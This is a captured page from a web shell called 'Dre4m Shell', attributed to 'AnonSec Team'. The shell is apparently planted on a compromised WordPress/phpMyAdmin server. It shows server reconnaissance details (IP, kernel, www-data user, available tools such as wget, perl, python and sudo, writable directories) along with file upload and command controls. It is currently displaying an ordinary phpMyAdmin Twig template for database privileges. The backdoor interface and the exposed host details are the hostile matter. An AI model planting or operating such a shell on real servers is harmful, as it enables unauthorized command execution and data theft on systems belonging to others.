Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.16.218.240
Web Server : Apache/2.4.61 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/wordpress/phpMyAdmin/templates/server/privileges/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/wordpress/phpMyAdmin/templates/server/privileges/privileges_summary.twig
<form class="submenu-item" action="server_privileges.php" id="{{ form_id }}" method="post">
    {{ get_hidden_inputs() }}
    <input type="hidden" name="username" value="{{ username }}">
    <input type="hidden" name="hostname" value="{{ hostname }}">

    <fieldset>
        <legend data-submenu-label="{{ sub_menu_label }}">
            {{ legend }}
        </legend>

        <table class="data">
            <thead>
                <tr>
                    <th>{{ type_label }}</th>
                    <th>{% trans 'Privileges' %}</th>
                    <th>{% trans 'Grant' %}</th>
                    {% if type == 'database' %}
                        <th>{% trans 'Table-specific privileges' %}</th>
                    {% elseif type == 'table' %}
                        <th>{% trans 'Column-specific privileges' %}</th>
                    {% endif %}
                    <th colspan="2">{% trans 'Action' %}</th>
                </tr>
            </thead>

            <tbody>
                {% if privileges|length == 0 %}
                    {% set colspan = type == 'database' ? 7 : (type == 'table' ? 6 : 5) %}
                    <tr>
                        <td colspan="{{ colspan }}"><center><em>{% trans 'None' %}</em></center></td>
                    </tr>
                {% else %}
                    {% for privilege in privileges %}
                        <tr>
                            <td>{{ privilege['name'] }}</td>
                            <td><code>{{ privilege['privileges']|raw }}</code></td>
                            <td>{{ privilege['grant'] ? 'Yes'|trans : 'No'|trans }}</td>

                            {% if type == 'database' %}
                                <td>{{ privilege['table_privs'] ? 'Yes'|trans : 'No'|trans }}</td>
                            {% elseif type == 'table' %}
                                <td>{{ privilege['column_privs'] ? 'Yes'|trans : 'No'|trans }}</td>
                            {% endif %}

                            <td>{{ privilege['edit_link']|raw }}</td>
                            <td>{{ privilege['revoke_link']|raw }}</td>
                        </tr>
                    {% endfor %}
                {% endif %}
            </tbody>
        </table>

        {% if type == 'database' %}
            <label for="text_dbname">{% trans 'Add privileges on the following database(s):' %}</label>

            {%- if databases is not empty %}
                <select name="pred_dbname[]" multiple="multiple">
                    {% for database in databases %}
                        <option value="{{ database|escape_mysql_wildcards }}">
                            {{ database }}
                        </option>
                    {% endfor %}
                </select>
            {% endif -%}

            <input type="text" id="text_dbname" name="dbname">
            {{ show_hint("Wildcards % and _ should be escaped with a \\ to use them literally."|trans) }}
        {% elseif type == 'table' %}
            <input type="hidden" name="dbname" value="{{ database }}">

            <label for="text_tablename">{% trans 'Add privileges on the following table:' %}</label>

            {%- if tables is not empty %}
                <select name="pred_tablename" class="autosubmit">
                    <option value="" selected="selected">{% trans 'Use text field' %}:</option>
                    {% for table in tables %}
                        <option value="{{ table }}">{{ table }}</option>
                    {% endfor %}
                </select>
            {% endif -%}

            <input type="text" id="text_tablename" name="tablename">
        {% else %}
            <input type="hidden" name="dbname" value="{{ database }}">

            <label for="text_routinename">{% trans 'Add privileges on the following routine:' %}</label>

            {%- if routines is not empty %}
                <select name="pred_routinename" class="autosubmit">
                    <option value="" selected="selected">{% trans 'Use text field' %}:</option>
                    {% for routine in routines %}
                        <option value="{{ routine }}">{{ routine }}</option>
                    {% endfor %}
                </select>
            {% endif -%}

            <input type="text" id="text_routinename" name="routinename">
        {% endif %}
    </fieldset>

    <fieldset class="tblFooters">
        <input class="btn btn-primary" type="submit" value="{% trans 'Go' %}">
    </fieldset>
</form>

Anon7 - 2022
AnonSec Team